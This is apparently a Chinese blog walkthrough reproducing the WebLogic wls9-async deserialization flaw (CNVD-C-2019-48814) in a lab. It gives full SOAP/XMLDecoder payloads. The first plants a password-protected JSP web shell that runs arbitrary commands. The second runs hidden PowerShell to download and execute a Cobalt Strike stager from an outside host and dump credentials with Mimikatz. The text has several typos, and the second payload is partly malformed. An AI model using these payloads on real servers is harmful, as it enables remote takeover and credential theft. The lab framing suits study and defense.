CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞

0x01 漏洞介绍

中国民生银行红蓝对抗演习时,红队使用这个0day,拿下防守方的服务器

该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/—async/AsyncResponseSerce路径下传入构造好的恶意XML格式的数据,传入的数据在服务器端反序列化,执行1其中的恶意代码,从而可以getshell。

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象

0x02 影响版本

  • weblogic 10.3.6.0
  • weblogic 12.1.3.0.0
  • weblogic 12.2.1.1.0
  • weblogic 12.2.1.2.0

0x03 环境搭建

1 环境准备
(1) kali 
(2) windows server 2008 R2(192.168.4.106) 
(3)jdk(1.8版本)
(4)weblogic服务器的安装包12.1.3.0

2.  服务器上安装jdk,然后配置环境变量,在cmd下输入jacac 或者java -versoon能返回正常信息说明配置正确
3. 安装weblogic:把下载的weblogic安装包放到jdk的bin目录下,cd到jdk的bin目录下执行安装命令
     java -jar fmw_12.1.3.0.0_wls.jar

CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第1张图片
然后会弹出weblogic的安装引导,完成安装后一会就进入到默认配置环节,配置后点击startweblogic启动服务器即可。
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第2张图片
4 完成上述步骤后,使用浏览器访问下面的url: ip :7001/console/logic/LoginForm.jsp
http://192.168.4.106:7001/console/login/LoginForm.jsp出现以下页面说明环境搭建成功
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第3张图片

0x04 漏洞复现

1.判断是否存在漏洞,访问http://192.168.4.106:7001/_async/AsyncResponseService
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第4张图片
若出现这样的页面说明可能存在漏洞
2.使用nmap扫描。使用脚本weblogic-wls9-async.nse(脚本需要自己导入,从网上下载后放到/usr/shar/nmap的script的目录下)
使用命令 nmap --script=weblogic-wls9-async.nse 192.168.4.106
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第5张图片
已经扫描出漏洞,确认漏洞是真实存在的

3.进行漏洞利用,使用bp拦截/—async/AsyncResponseService数据包发送到respeater中,修改method的,修改新增字段的值,将content-type修改成text/xml
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第6张图片
在post的data中添加下面李炎的poc

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
    xmlns:wsa="http://www.w3.org/2005/08/addressing" 
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.8.0_131" class="java.beans.xmlDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
    <void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;          
            byte[] b = new byte[1024];          
            out.print("
");          
            while((a=in.read(b))!=-1){
                out.println(new String(b));          
            }
            out.print("
"
); } %>]]> </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

返回值如下:

CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第7张图片
4.成功后访问:http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第8张图片
可以看到已经拿到shell,尝试查询系统信息
http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=systeminfo
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第9张图片
这就已经完成对weblogic的简单利用

0x05 使用cs来反弹shell

使用payload的来源
[https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961]
该shell只能用于windows系统

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.128:80/a'))"; Invoke-Mimikatz -DumpCreds"


/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

  1. 开启cobalt strike 创建lister
    CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第10张图片
    2.点击攻击使用web脚本传递
    CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第11张图片
    3 生成powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.115.XX.XXX:80/b'))"

将其插到对应payload的对应位置
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第12张图片
4.使用bp将payload上传到服务器上 ,可以看到肉鸡成功上线
CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞_第13张图片

你可能感兴趣的:(Weblogic)